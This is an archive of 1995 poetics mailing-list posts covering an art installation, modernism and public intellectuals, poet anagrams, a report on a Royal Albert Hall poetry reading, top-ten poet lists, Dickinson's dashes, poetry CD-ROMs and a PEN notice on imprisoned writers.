[redacted]
email: [redacted]

Charles O. Hartman, Associate Director
CAPA
Box 5505, Connecticut College, New London, CT 06320
email: [redacted]

```` CAPA is always under construction; check back periodically for new books on-line. ```

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374. CAROLYN L. FORCHE-MATTISON
Re: video/book installation
Tue 17 Oct 1995

Marshall Reese wrote:

The Corona Palimpsest

"If you burn a book, it opens unto absence in the flame. If you drown it, it unfolds with the wave. If you bury it, it quenches the thirst of the desert..."
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Ligorano/Reese are creating a new installation on view at CristineRose Gallery in Soho called The Corona Palimpsest. This installation, along with other video installations and limited edition works by Ligorano/Reese question the changing roles of the book, electronic information, and television.

Their new work is about hidden vestiges and the markings that remain. A palimpsest, by definition, is a tablet or parchment that has been erased and used over, leaving traces of the old text under the new. The Corona Palimpsest at CristineRose is a room-size installation featuring two handbound volumes. In one, there are over 300 hand- painted pages composed of images from the spectacular coverage of the Gulf war to Warlpiri cave paintings. Media images, air-brushed stencils, rubbings and silhouettes of newspaper and magazine photos spill over this book's pages. The other volume is a blank, burned book, apparently empty, yet also, a complete text that stands as a testiment to degradation and destruction.

Marshall, I've re-posted this to friends in New York, and it sounds very interesting. Does this work in any way comment upon or refer to Anselm Kiefer's "The Burning of the Rural District of Buchen VII," or "Iconoclastic Controversy"?--is there influence? I've contemplated this work for some time, particularly the books, and have resisted the discomfort induced by the hyperbole surrounding his public reception, but have found certain ambiguities in the work troubling. Still, the books remain with me...

--Carolyn

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375. Michael Davidson
Re: legacies of modernism
Tue 17 Oct 1995

>> I notice that Russell Jacoby does not refer
>>to poets such as Adrienne Rich, Amiri Baraka, Allen Ginsberg--or Robert
>>Lowell, for that matter--in his classification of "public intellectuals.

>>It's that sense of partition that is the real legacy of aesthetic modernism.
>>
>>md
>>Michael Davidson
>
>This legacy, if real, is odd (though it probably is real)--since Pound,
>esp., but also some of the others, thought of themselves as something like
>Public Intellectuals without Portfolio (though I guess Eliot had a
>Portfolio), and since Pound and Olson, say, share not only the didactic
>strain adumbrated by von Halberg but also the passion for the so-called
>factive. If this IS a "legacy of aesthetic modernism," though, then were
>poets before the moderns public intellectuals? Wordsworth and Tennyson (I
>guess so). Emerson, sure. But Whitman?
>
>I'm embarrassed not to have read Bob Perelman's modernism book yet--but
can
>he or it be drawn into this thread?
>
>doan you tell no one I made you that table....
>
>Tenney
>
Tenney...I was thinking that the ideology of distanciation and autonomy helped create a critical divide between "true" intellectuals (guys at Oxbridge) and "public intellectuals" (usually thought to be journalists and/or non-academic types, although much of the Old Left would seem to apply). And that when nostalgic newer Left types like Jacoby searched around for a continuing radical tradition he had no choice but to vaunt the second choice. But you're right about the pre-modernists. Without knowing what Jacoby would say, they would qualify in the sense that they (Tennyson surely) had large, public readership and wrote on a variety of subjects social and political and cultural.

michael davidson>
Michael Davidson

↑ Index

376. Gale Nelson
Anagrams A-Go-Go
Tue 17 Oct 1995

Here is a substantial post of anagrams, that runs under the title

To What Job, Long Roman? (John Barton Wolgamot)

by Keith Waldrop

Cecile Abish I slice beach
Walter Abish I blew art ash
Tom Ahern Hate morn
Anne-Marie Albiach Chili, a mere banana
Rosa Alcala Diaz As a lizard, a coal
Pierre Alferi Real ripe fire
Beth Anderson Theban rose ad
Ehry Anderson Her nay drones
Bruce Andrews Bar unscrewed
Mary Angeline Mainly a green
Bob Arellano Lo, noble Arab
John Ashbery Honey-bash, Jr.
Mary Ashley Yes, harm lay
Robert Ashley Her stray lobe
Saint Augustine As I tie Aunt's gun
Paul Auster A purl, a suet
Bill Baird Ribald lib
Lori Baker Rail broke
Solvej Balle Sell Jove lab
Anthony Barnett Bent at any thorn
Matt Barros Art mob star
Brian Barry Bar yarn rib
Susan Bee Use beans
Martine Bellen Belt-line ran me
Brita Bergland End tribal garb
Mei-mei Berssenbrugge Mere bee in bigger sums
Charles Bernstein Bench rental rises
Susan Bernstein Be sun, nine stars
Peter Blickle Treble pickle
Barbara Blossom Bar bobs as moral
Ginevra Bompiani O I map given brain
Marie Borel Amor, I rebel
...

↑ Index

377. **Ken Edwards**

Albert Hall

Tue 17 Oct 1995

Dateline 16.10.95; Ken Edwards reporting.

At 7.30pm, the scheduled time of starting, the vast cavern of the Albert Hall is barely one-sixth full. If it holds 8,000 people capacity, then there are fewer than 1,500 here. Still, that's a lot for a poetry reading, I suppose.

I encountered Lawrence Upton by chance, and we found we'd bought cut-price tickets from the same ticket tout, so we ended up sitting together way up in the balcony, to the left of the stage. Red plush seating; above the stage, a giant blue video screen which darkens to show the message "poetry has been a prohibited substance". Lawrence tells me there were rumours Paul McCartney was going to make a guest appearance with Ginsberg; if so, it doesn't seem to have caused an audience rush. He also says he's heard from Bill Sherman, who is apparently on the programme tonight. I am incredulous. A young guy next to us hears the name Bill Sherman and reveals Bill was an old friend of his father's "and is like a legend to me. That's why I'm here; I don't know anything about poetry."

The lights go down, and on the video screen is projected black & white film of Ginsberg chanting in the same arena 30 years ago; it's part of Peter Whitehead's 1965 film "Wholly Communion" I guess. Then the first poet comes on.

BRIAN CATLING: In dark suit, holding a mirror vertically in front of his face so that his video image, projected above him, shows him with a cyclopean single eye, no nose and tiny goldfish mouth. Apocalyptic, gothic; sample quotes (apologies for mishearings): "masked in silver and burnt sand", "throat knotted to a glass", "a swinery worn pink to the weight of gold".

AARON WILLIAMSON: Dressed all in black. Aaron is profoundly deaf; on the page, a highly cerebral writer (I recommend his "A Holythroat Symposium" from Creation Books), onstage, his language dissolves into strangulated phonemes, stretched out syllables, explosive movement. His powerful, visceral sound echoes badly in the hall. He gets a good reception.

At this point, compere Michael Moorcock makes his first appearance. It is a performance of staggering incompetence. He introduces "three London poets", who are using the city as some kind of Gothic stage for their work - eulogising Aidan Dun first, but calling him "Andrew Dun". Then Iain Sinclair. Finally, Denise Riley. How on earth Denise fits into this schema I don't know, since neither London nor Gothickery plays any part in her work. He reveals, however, that he has only read Denise's work this evening, and bizarrely goes on to recommend her book "Mop Mop Georgette" (published by yours truly/W

Mulford): "so good it's almost collpasing in on itself". He collapses into incoherence: "Who's on first? I can't remember."

AIDAN DUN: In blue scarf, playing acoustic guitar. Launches into part of his epic London poem, irritating whispery voice. Sample quote: "I found the people of the golden skin bathing." A Donovan de nos jours, methinks.

DENISE RILEY: In black. She told me she'd been desperately nervous all week. However, her voice is steady and surprisingly resonant. She reads "Laibach Lyrik" from "Mop Mop" very well.

IAIN SINCLAIR: The eminence grise behind this venture, I fancy. Reads three poems, homages to Henry James (with references to the Great Train Robber Charlie Richardson), Keats and Blake. OK. Then introduces a film made by Chris Petit last week of David Gascoyne, now in his 80s, reading a poem in his home on the Isle of Wight. Couldn't hear properly. Bespectacled, quite sprightly.

CRIS CHEEK: First Sianed Jones walks on stage looking sexy in a black mini-dress, playing electric violin with maximum fuzz and feedback. Cris leaps up onto the stage from the audience playing clarinet, which he does rather well these days. Also in black. Has everyone been given instructions about this? Sianed moves to portable harmonium, wailing. Cris intones, holding a lampstand with Xmas tree lights blinking on and off on the end of it (I may be quite wrong about this; what was that about, Cris?). Stage darkened by now, Cris screaming. Sample soundbite: "so parsimonious, so acrimonious, so sanctimonious". He shreds paper ("I wrote a poem about it somewhere"). Heavy breathing from Sianed. Cris on his knees as the lights come up; they both do a wordless vocal duet. End. Excellent audience reception.

Michael Moorcock returns, now in self-parody mode ("Here I am with another incompetent announcement"). The announcement is the winner of the poetry competition. And it turns out to be: Bill Sherman! So that's how he got on the programme. He reads the winning poem which appears to be a collaborative translation from a prominent Tahitian poet. (This morning I check the competition rules: "The poem must be ... in English and must be the unaided work of the author". Hmm.)

MIKE HOROVITZ: Not in black, playing Jerusalem on the kazoo. Announces Kathy Acker couldn't make it but Anne Waldman will be appearing instead. Sonnet in sing-song voice. A poem to his mother, who died this year aged 100. "Now a protest poem on behalf of fish" (which is a homage to Joyce and Schwitters). Update of Wordsworth's Westminster Bridge sonnet, and poem to Frances Horovitz. (Later, Miles Champion tells me he enjoyed this, but I can't help invoking Donovan again; to me, Horovitz was always Donovan to Ginsberg's Dylan.)

At the interval, Lawrence and I migrate down to the arena. Many people up in the gods have had the same idea, which means the arena is threequarters-full for the second half, giving a better atmosphere. It begins with another showing for part of the Peter Whitehead film.

BENJAMIN ZEPHANIAH: White middle-class poetry folk's favourite Rasta gets recognition applause when he comes on. A performer with the timing of a class comedian, but while his routines are entertaining I've always found his material lame.

The second compere, Howard Marks, comes on, in white open-necked shirt and brown suit. Reads a long intro. Gets obvious recognition. I still don't know who he is; at the risk of sounding like a High Court judge ("who are the Beatles?") can someone help me?

DOUGLAS OLIVER: At one time, I accorded Doug Oliver god-like status, and I still think his 1970s books "In the Cave of Suicession" and "The Diagram Poems" are two of the finest of that era. I'm not quite so keen on his current output, which I find rather solemn at times. He reads a poem he describes as a homage to the nomads of Somalia, which contains some stuff about female circumcision (which he disapproves of) and a rather sombre poem called "The Oracle of the Drowned". Yellow jacket, blue shirt.

ALICE NOTLEY: Much more lively, I thought. In red with black trousers. Three poems: set in New York, the Mojave Desert and Paris, France, she says. The first plays on poetry and money. The second contains the line(s) "I think we already know what death's like - there are moments in life we are dead", but the effect is darkly humorous rather than sombre. By now, the audience has adopted the habit of applauding each individual poem.

BRENDAN KENNELLY: Reads an absolutely hilarious long poem about James Joyce having dinner with the Holy Family in Nazareth ("Joyce's short answers were buggering the dinner up"; "'What family is wholly holy?' said Jesus"). Then "My Dark Fathers" (I think), a poem about the Famine. Spoils it all with a poem about a child asking questions, which I found a tad sentimental.

SORLEY MACLEAN: A great man, now in his 80s. Reads standing at the back of the stage; first in his sonorous English, then in his even more sonorous Gaelic original. He apologises for one: "Not a happy poem either".

Howard Marks announces the winning programme number; the winner gets their programme autographed by the poets.

TOM PICKARD: "Last time I stood here was 1986 at the end of the miners' strike." His "manifesto of fuck" is loved by the audience. Ends with variations on the name Saatchi & Saatchi.

ANNE WALDMAN: Like Alice, in red and black. Uses lectern. Witchlike delivery. Sonnet after Philip Sidney, ends "we're stuck with each other's heart now". Highly rhetorical, panting. "I magnetise the phone bill". Finally, a homage to John Cage, "Pieces of an hour", a virtuoso piece of sprechstimme.

ALLEN GINSBERG: Multiple roadies set up for him: two chairs (significant), a table with a coffee-cup, ferns in pots, mikes. Comes on to great acclaim. I find his first poem incredibly moving in its wry, humorous acceptance of death and dissolution ("What a mess I am, Allen Ginsberg"; "Allen Ginsberg warns you: don't follow my path to extinction"). And then, yes, Paul McCartney comes on stage in white shirt, grey pants and sneakers, with a semi-acoustic guitar which he plugs in. Accompanies Ginsberg on a long skeleton song. Walks off, leaving Ginsberg to take the applause.

Which dies down soon after he's left the stage. The audience disperses. It's past 11pm. I briefly talk in the foyer to Cris, Denise, Miles Champion, Ira Lightman, Robert Hampson, Peter Barry and Mike Hart from Compendium, who's running the bookstall. Decline the possibility of the post-gig party and find a bus home.

Apologies again for all mishearings and misquotes. Ken Edwards signing off.

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378. Ken Edwards
Top Ten / Bottom Ten
Tue 17 Oct 1995

Ric -

How on earth can you overlook Tom Raworth for your pace attack?

And I would include John Ashbery as an elegant and stylish mid-order batsman...

love, Ken

↑ Index

379. James Sherry
Evaluation
Tue 17 Oct 1995

I haven't been reading the list as assiduouly as I have in the past and I periodically tune in to find out who is writing and what they are writing about. My reading today was after five days of not erasing my messages, so I got an interesting cross-section of material and a definite sampling that leads me to wonder what the drive is behind all the "evaluation" that is going on.

Ron and Michael and others writing about how to evaluate the situation of the teacher/poet. How do we feel about it? What are its drawbacks? How is Michael expressing his concern in his work, while referred to is not detailed, while a lot of space is devoted to whether it's good or bad. This meta-discourse is similar to the blackout on the content of the women's conferences in China. The papers blared how to evaluate the situation by the extent of opressive behavior by Chinese soldiers which is to my mind largely irrelevant to the conferences and thier important findings. My question is how have we so distanced ourselves from the material we seek to address? How can we talk about it? What are the terms of the discussion?

The other primary set of messages today are about evaluating the top ten lists that have been developing. This level of evaluation easier to understand and might shed light on the previous issue if only I could understand who it is these correspondents are evaluating.

Although this is I admit again a discussion at a "respectful" distance. What do you who addressed these subjects today and previous think about your writing these messages?

Pat Phillips' particles were illuminating in that context at least at the beginning of the message.

I can't believe I have the time to write to the list.

James

↑ Index

380. Tom Beard
Dash it, Emily!
Tue 17 Oct 1995

> *some scholars claimed that the dashes have a relatively exact _musical_ function, indicating not only duration of "rest" (we have no notation for "rests," as such, in language)*

I'm not sure whether they count as "rests" per se, but commas, semicolons, colons, full stops (periods for Americans), dashes, parentheses and ellipses all seem to notate pauses of varying lengths, in addition to/as part of their syntactic functions. I've seem them used in non-standard ways to great effect - I once read a novel in which one of the characters had a very clipped, mechanical way of speaking, which was represented by. using. a. full. stop. after. each. word.

There are other typographical techniques for including a rhythmic score in a poem - line breaks of course, the use of a slash/stroke/solidus in the middle of a

line, Olson's open parenthesis, etc. These all have various rhythmical effects as well as introducing subtle syntactic and semantic ambiguities.

Once I played around with a simple text-to-speech converter on a PC (it's the one included with Soundblaster cards), and since there was a strict correspondence between punctuation and intonation/timing, I was able to put very precise pauses between words,,,,,, by using the,,, right,, number of commas. One could also invoke a rising intonation via question marks, but? why? would? anyone? want? to? do? that?

Incidentally, it's almost a pity that the theory of ED's dashes being pauses for thought while the ink dries appears to be dubious. This would be a wonderful example of the poem being a trace of the writing process - the poet's hesitancies and contemplations leaving a physical mark on the page. There are no doubt a thousand ways in which one could write these processes in/as a poem.

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

381. Tom Beard

Re: Top ten poems

Tue 17 Oct 1995

The BBC poll on top 10 poems comes at the same time as a Sunday Times survey on other arts, which was reported here in the Sunday Star/Times as the 10 GREATEST plays/novels/composers/whatever. The use of the word GREATEST is likely to invoke a response that mimics received ideas of Great Works (resulting in the top 10 novels all being from the 19th Century), whereas BEST or FAVOURITE might result in different, more personal response. In addition, the voluntary survey/ poll format will always bias the sample towards those who can at least name 10 poems, and who actually give a damn.

Now, in NZ, if the General Public (the capitalisation indicating an abstraction) were asked to name 10 NZ poets, who might appear on such lists? Here's my guess:

1. Sam Hunt
2. James K. Baxter
3. Barry Crump (he tells Scotty a "poem" on the Toyota ads)

4. Laura Ranger
5. Cilla McQueen (_Dogwobble_ keeps popping up everywhere)
6. Lauris Edmond
7. Bill Manhire
8. Allen Curnow/"Whim Wham"
9. Bub Bridger (at least among Wellingtonians)
10. Kevin Ireland

Also, they'd probably recognise the names Keri Hulme, Janet Frame, Gary McCormick, Peter Bland, C.K. Stead and Fiona Kidman, but not associate them with poetry.

As a piece of self-indulgence, here's my first XI (but not in batting order):

Edwin Morgan
Dennis Lee
Dinah Hawken
Leigh Davis
Bill Manhire
Geoffrey Hill (at least _Mercian Hymns_)
Michele Leggott
James Brown (no, not _that_ James Brown)
James Norcliffe
Craig Raine
Geoff Cochrane

with T.S. Eliot as coach.

Oops, no Americans (unless you count the Possum) - blame it on my Anglocentric upbringing. At least they could probably play cricket better than the NZ cricket team.

Incidentally, that issue of the Sunday Star-Times also contained letters stating that McCahon was not an artist and that no-one wants to listen to NZ music - all that nasty avant-garde rubbish. Brrrr!!! Scary.

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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382. Loss Glazier
Re: Poetry in Motion (from Chris Funkhouser)
Tue 17 Oct 1995

Forwarded message:
From: FUNKHOUSER CHRISTOPH <[redacted]>
Subject: Re: Poetry in Motion (Review)
To: [redacted] (Loss Glazier)
Date: Mon, 16 Oct 1995 17:03:41 -0400 (EDT)
Content-Length: 1299

Loss, Poetry in Motion 2 is advertised in the Voyager catalog, but it has not been released yet far as I know. Issa, do you know what's happening with that title? I have no idea what kind of a project it is -- though there's an image of Bob Creeley used on the cover in the catalog. Does anyone on this list have have work which appears as part of that project? The Poetry in Motion cd-rom which *is* out *is* and adaptation of the film/video by Ron Mann. There are a couple of nice features to the cd-rom, the addition of biographical material & alphabetic texts of the performance pieces. In all, though, the video is more fluid, and *looks* better on the tv screen than on the computer. As I mentioned in the piece the other day, Video doesn't translate all that well to cd-rom as it is today. At best you can get a 3"x4" moving screen, & depending on how fast the computer's processor is can be rather slow-moving or grainy. Baraka don't look & move as good Wailin' on the cd-rom, etc. The technology is changing quickly, though, & before long there will be better technology, cd-roms will probably be obsolete within a half a decade or so. Nevertheless - digital multimedia is just beginning.

Any faculty out there care to express their opinions on
"long distance learning"?

chris

↑ Index

383. Issa Clubb
Re: Poetry in Motion (from Chris Funkhouser)
Tue 17 Oct 1995

Yup, PiM 2 is out, shipping, all that. I have the box here in front of me; the back lists these poets:

(also on the first disc) Helen Adam, Amiri Baraka, Ted Berrigan, Charles Bukowski, Jim Carroll, Robert Creeley, Diana (!whoops!) di Prima, Allen Ginsberg, John Giorno, Michael Ondaatje, Gary Snyder, Anne Waldman

(CD-ROM premiere! heh) Tom Clark, Spalding Gray, Bob Holman, Rose Lesniak, Cookie Mueller, Eileen Myles, Alice Notley, Joel Oppenheimer, Peter Orlovsky, Pedro Pietri, Jerome Rothenberg, & Philip Whalen

"In nine additional interviews hear Charles Bukowski explain why 'fiction is an improvement upon life,' Diane di Prima talk about discovering Keats, Jim Carroll admit to following his idol Frank O'Hara through the streets of NY, and [the everpresent] more."

While I think the lack of video quality is frustrating, the promise (as you mention) is in the ability to combine performance with written texts. Also, this new disc might be more interesting because (I'm pretty sure) the readings here aren't in the film.

_____
Issa Clubb
[redacted]
Voyager Art Dept.
[redacted]

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384. **Steve Carll**
Re: Albert Hall
Tue 17 Oct 1995

Ken:

Thanks for the detailed run-down!! But, enough with the Donovan put-downs--I like Donovan! :-)

Steve

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385. **Mark McMorris**
That was then
Tue 17 Oct 1995

Small Presses

"It was, if anything, a Printing Vortex. Books were cheap to produce in France. On l'Ile Saint Louis William Bird's Three Mountain Press published Hemingway, Williams, Pound: notably in 1925 A Draft of XVI Cantos, in folio. Nancy Cunard later bought Bird's assets, and in 1930 her Hours press issued A Draft of XXX Cantos (200 copies)" (384).

Spring and All: "written in New Jersey, printed in Dijon, published in Paris, distributed--------? Not distributed, really. There were 300 copies, Paris

bookshops were not interested, American customs held up shipments for months, American reviewers based 12 miles from Rutherford merely sneered at expatriates when they noticed such books at all. 'Nobody ever saw it'--Williams 35 years later-- 'it had no circulation at all'" (385).

"They worked in utter obscurity, as if in Paris. Williams was 'discovered' only in 1948, when Paterson I suddenly attracted reviews; Zukofsky and Oppen and Bunting not until the 1950's and 1960's, when reprints of work 30 years old began appearing, to answer tastes a long time forming and still hardly articulate. The 1930's public heard of MacLeish, and Stephen Vincent Benet, and Robert Frost (now too quickly dismissed as an Eisenhower poet); and journalism for which Hart Crane's suicide conferred importance on The Bridge found no way to get interested in Zukofsky's "A", whose author jumped off no boat" (405-406).

"A mystique of the word--as in Miss Stein's case--is encouraged by the circumstance that one's words will not be read.... 'Toasted Susie is my ice cream,' wrote Miss Stein, and why not? To so fit and pack and lock and arrange the words that when their capsules are one day broken open--perhaps after 50 years, on an unrecognized planet--they will affirm structured realities, like a watch that should commence ticking as though made yesterday, that seemed the aim and morality of style" (385).

Hugh Kenner, The Pound Era (U of Calif. P, 1971)

↑ Index

386. **Judy Roitman**
Re: The Art and Poetry worlds
Tue 17 Oct 1995

Maria Damon wrote:
>
>i've got to say, quite the contrary, in my observation. since most
>literature departments are tending toward "theory" these days, and most
>contemporary theory attacks the tenets of what is generally called "academic
>poetry," those MFA programs that resist theory in favor of practice more
>often uphold --unconsciously, since they believe their values are "timeless"
>--an earlier, outmoded academicism. It's my belief, and i could be wrong,
>that if mfa students read more benjamin and foucault they'd be likely to
>write more adventurously than if they restricted their reading to, say,
>robert lowell and anne sexton.

I wish that were true here, but it isn't. Theory in that sense doesn't seem to rub off on the permanent writing faculty. The folks in town here who write what for lack of a better phrase is referred to as experimental writing have no

connection with the English department, with the exception of a well-known guy (not Burroughs, not that well known) who ekes out a living as a course-by-course lecturer with no benefits or security or decent salary. True story: a theory person was brought in for a job interview who'd done 1/3 of his thesis on this guy, but nobody seemed to get the point.

Anyway, theory applies to anything; theorists don't have to read new writing from any or no coast. (Another true story: the theorists invited Rachel Blau du Plessis to speak, at least one of the inviters didn't know she was a poet.)

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387. **Steve Carll**

Re: Top ten poems

Tue 17 Oct 1995

> *wystan,*
> *in response to your final point: i think poetry is most powerful when it embraces, threads into itself, the inevitability of its failure.*
>
> *lisa s.*
>
> *Our problem so often seems to be that while we persist in producing texts as opaque or offensive as modernist texts (its a measure of their criticality) we take no pleasure, feel no glee, no superiority, when they get the same reception. There seems no likelihood poetry will make a comeback. Perhaps it is the art form above all which should insist on its failure, come to terms with its invisibility, should... perhaps because that's its only choice. What do the rest of you reckon?*
> *Wystan*

SC: Well, it's nice to see some fellow Romantics on this list, but I have to go along with Kenneth Sherwood and ask: "failure to do what?" Produce easily-consumable product? Huh-uh. That's not something I've chosen to try, myself. Mass audiences tend to be such more out of force of habit than anything else (I can't think of any exceptions to this off the top of my head, so somebody correct me if I'm stepping off the deep end here), and it's precisely our (Industrialized Nations') habits that are endangering global humanity. Certainly I want my own work, and poetry as such, to be "accessible", but only so much so to draw an audience or readership out of its habits of thought and into the world. Too *little* accessibility (through what would be the real elitism: either the physical withholding of the texts as "pearls before swine" or through such obscurity that the reader is driven away) and too *much* accessibility (which would seem to me to necessitate a too-diluted poetic which would become merely a consumer

habit, feeding back into what I see as the problem) are the Scylla and Charybdis of my poetics. (Yikes! I can't believe I said that that way!)

Steve

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388. Loss Glazier
Book/Reading Annoucement
Tue 17 Oct 1995

---
printing it out is only parts of
it, sections somewhere framed
and amenable to being scribbled on ...

Book Annoucement

A note to announce _The Parts_ by Loss Pequen~o Glazier (Buffalo: Meow Press, 1995). Orders/requests for info about _The Parts_ can be obtained from Joel Kuszai, [redacted]

Reading

And a reminder ... I will be reading (with Steven Shaviro) in San Francisco at New Langton Arts, 1246 Folsom Street, Saturday, Oct. 21, 8 pm ...

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389. Wystan Curnow
Re: Top ten poems
Tue 17 Oct 1995

---

dear tom, interested in your team. but you should know that Leigh Davis doesn't play cricket. I'm glad you picked michele--I notice the UK teams are unisex--but why do you have her as wicket-keeper? She'd never see the ball! or, is that the idea? i mean who are your oponents, answer me that? Will they beat India? And Eliot, as coach! He doesn't play cricket either. Is that your idea of a joke? Groundsman maybe, especially if you've packed the team with spinners. best, wystan

↑ Index

390. Tom Beard
a glorious failure
Tue 17 Oct 1995

Wystan,

you wrote:
>There seems no
>likelihood poetry will make a comeback. Perhaps it is the art form above
>all which should insist on its failure, come to terms with its
>invisibility, should... perhaps because that's its only choice. What do
>the rest of you reckon?

I reckon that you're probably right about poetry not making a comeback. While some people point to an upturn in poetry cafes/pubs/whatever, this is largely poetry as therapy, not poetry as an investigation into the possibilities and limitations of language. To the extent that "poetry in our age _has_ to be difficult" (probably a horrible misquote of Eliot), this kind of challenging poetry in which the reader/listener has to take an active part in the composition is never likely to have mass appeal.

Many of the functions of poetry (as aide memoire, as voice of the people, as song) have been superceded by new media, and I don't see poetry ever claiming back these territories. Poetry as explorer, charting the boundaries, skirting the edge of the world, is _always_ going to be a minority pursuit. In this sense it _will_ remain invisible, a failure on the great level-playing-field of mass media. Poetry certainly _can_ play up to this "failure" to interesting effect.

But "should"? I'm not convinced of this. I'd like to see poetry infiltrating the main core of contemporary culture, burrowing in with bulletins from the frontline, postcards from the edge, sketches of the end of the world. I'm not sure that "Poetry in Motion" or other poems-on-buses schemes are the best way to do this. The (beware of broad and offensive classist caricature) Oprah-watching, Bud-drinking, jandal-wearing, league-playing, Stephen King-reading masses may never have an interest in challenging poetry, but what about the Seinfeld-watching, latte-drinking, Gaultier-wearing, Myst-playing, Face-reading crowd? Rather than dismissing them as shallow yuppies, maybe we should see this group as a potential audience, well educated and open to the contemporary in visual arts, music and film, but generally uninterested in poetry. Perhaps with the right "gift/hook", we could broaden the audience for contemporary poetry without totally compromising our interest in experiment and challenge.

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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391. Charles O. Hartman
Re: Dash it, Emily!
Tue 17 Oct 1995

Tom Beard--

Your point about Dickinson's dashes as putative records (fictive, of course, like all other notations) of writing-as-process is surely right; that's how we read them, against all reason.

It's important, though, to keep in the back of one's mind the history of punctuation, which is one of steady rationalization. Punctuation is by now (by the middle of the 18th century, really) almost wholly the slave of a rationalistic, prose model of language. To punctuate correctly is to demarcate the hypotactic structures of the sentence, distinguishing for instance the restrictive from the nonrestrictive modifier and even the apposition from the parenthesis. The service is to a structure of ideas, not to a structure of sounds.

Those syntactical considerations do have their "prosodic" (in the linguists' sense) correspondences--prose and verse have the same mother, after all--but it remains very tricky to declare any one-to-one correspondence between conventional marks of punctuation and rhythmic characteristics of a passage of language.

Which means, in turn, that how a poet _chooses_ to _use_ punctuation can be extremely interesting. I know I have poems that (as we say) demand prose-style punctuation and those that refuse it absolutely, and a lot that want some nonce compromise. Part of the compromise, of course, comes about by admitting among the signs of punctuation the line-break, which rather upsets all the other marks who thought they were in charge.

Charles Hartman

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392. Jonathan Brannen
Re: Situation #10
Tue 17 Oct 1995

Mark Wallace:

Mark,

I've been trying to reach you via e-mail for almost a month now, but the post keeps getting bounced by your host system. Please e-mail me your current e-address.

Thanks and apologies to all for posting a personal message, Jonathan Brannen

> *Situation #10, featuring the work of Nick Piombino, Heather Fuller, Thomas Taylor, Dan Featherston, John Bennett, Sheila Murphy, Michelle Murphy, and Mark Ducharme is now avialable.*
>
> *A subscription to Situation is $10 for four issues; $3 for single or back issues. All I need is a couple new subscriptions every issue to keep afloat, and I'd really appreciate your help.*
>
> *Please write to Mark Wallace, Situation, 10402 Ewell Ave., Kensington, MD 20895.*

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393. **Jeffrey Timmons**

Re: Colonialism

Wed 18 Oct 1995

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eric,

thanks. yes, very provacative. what are you doing for dinner?

jeffreytimmons

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394. **Dodie Bellamy**

Re: a glorious failure

Wed 18 Oct 1995

Tom Beard wrote:

"but what about the
Seinfeld-watching, latte-drinking, Gaultier-wearing, Myst-playing, Face-reading
crowd? Rather than dismissing them as shallow yuppies, maybe we should see this
group as a potential audience, well educated and open to the contemporary in
visual arts, music and film, but generally uninterested in poetry. Perhaps with
the right "gift/hook", we could broaden the audience for contemporary poetry
without totally compromising our interest in experiment and challenge."

Now, Tom, as I write this I am sitting at my parents' kitchen table in Indiana, so I may not be thinking too clearly. One shouldn't sneeze at the potentially damaging influence of watching reruns of Mash and Cagney and Lacy on a 27" color TV. But, when I read the above message, what popped into my head was

Julie Andrews in Mary Poppins, singing, "Just a spoonful of sugar makes the medicine go down."

Not to change the subject, but is anyone else on this list familiar with lawn geese, these concrete statues of geese that are like three feet high that working class women have in their frontyards and dress in different costumes for different seasons and holidays? As I type this there is a lawn goose in this very yard dressed in a pumpkin costume--there are other similarly dressed lawn geese throughout the neighborhood. Though my mother doesn't have a Thanksgiving outfit for her lawn goose, she assured me that there are pilgrims outfits available--both for both male and female pilgrim lawn geese.

When I was talking on the phone earlier today with Kevin (Killian) I asked him if he thought lawn geese was a national or a regional phenomenon. He told me that's the kind of thing Spicer would have known.

Dodie Bellamy

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395. Pierre Joris
NEWS VIA PEN
Wed 18 Oct 1995

This, from the PEN on line list, which should be of interest to this list:

WIPC HIGHLIGHTS CAUSE OF EIGHT WRITERS SENTENCED TO DEATH WORLDWIDE

15 NOVEMBER TO BE COMMEMORATED AS DAY OF THE IMPRISONED WRITER

Eight writers and journalists worldwide have been sentenced to death or charged with crimes carrying the death penalty, reported the Writers in Prison Committee (WiPC) of International PEN in the September issue of its newsletter "Centre to Centre". PEN is opposed to the death penalty "which it believes to be in violation of international norms on cruelty and inhuman punishment and in violation of the right to life." Fortunately, since publication, one writer has received a reprieve from the death sentence but remains in jail. Kenyan writer and former Member of Parliament Koigi wa Wamwere was charged with robbery with violence, which carries a mandatory death penalty. Since publication of "Centre to Centre", the judge has reduced the charges to armed robbery, likely due to international pressure, and wa Wamwere was sentenced to four years in jail and six strokes of the cane.

However, others have not been so lucky. United States journalist Mumia Abu-Jamal received a stay of execution after his death warrant was issued, but has

been thus far denied the right to a fair trial. Although Abu-Jamal maintains his innocence and it is believed that his political beliefs were used against him, he was convicted of killing a police officer in a trial that falls short of international standards of fairness. The other writers the WiPC mentions who are living under sentence of death include Yemeni poet Mansur Rajih, who was sentenced to death in 1986 for allegedly killing a man. Again, WiPC says the trial was seriously flawed and critics believe he was framed for his role in the student movement of the 1970s and early 1980s.

In China, WiPC reports that two publishers have already been executed for publishing pornography. In February, Gu Jeishu was executed after a crackdown on publishers of books said to contain "sex, violence and superstition, as well as political mistakes." WiPC reports that another publisher Wang Shuxiang was due to be executed in April, although it is not known if the execution took place. Finally, in Nigeria, writer Ken Saro-Wiwa faces the death penalty if convicted of inciting the murder of four Ogoni leaders. WiPC reported last week that Saro-Wiwa is to be charged on 31 October. WiPC also protested the unfair nature of his trial and detention, which is believed to be motivated by his political convictions. [See UPDATES, this issue of the "Communique".]

The WiPC marks 15 November as the Day of the Imprisoned Writer, reports another item in the latest issue of "Centre to Centre". WiPC writes, "On this day and the weeks surrounding it, PEN centres worldwide will be publicising the plight of writers who have been killed, disappeared or imprisoned for the practice of their right to freedom of expression." Five writers will be profiled and PEN will update the cases of writers featured on this day in previous years. For more information, contact WiPC at 9/10 Charterhouse Buildings, Goswell Road, London EC1M 7AT, U.K., tel:[redacted], fax:[redacted], e-mail: [redacted].

** ** **

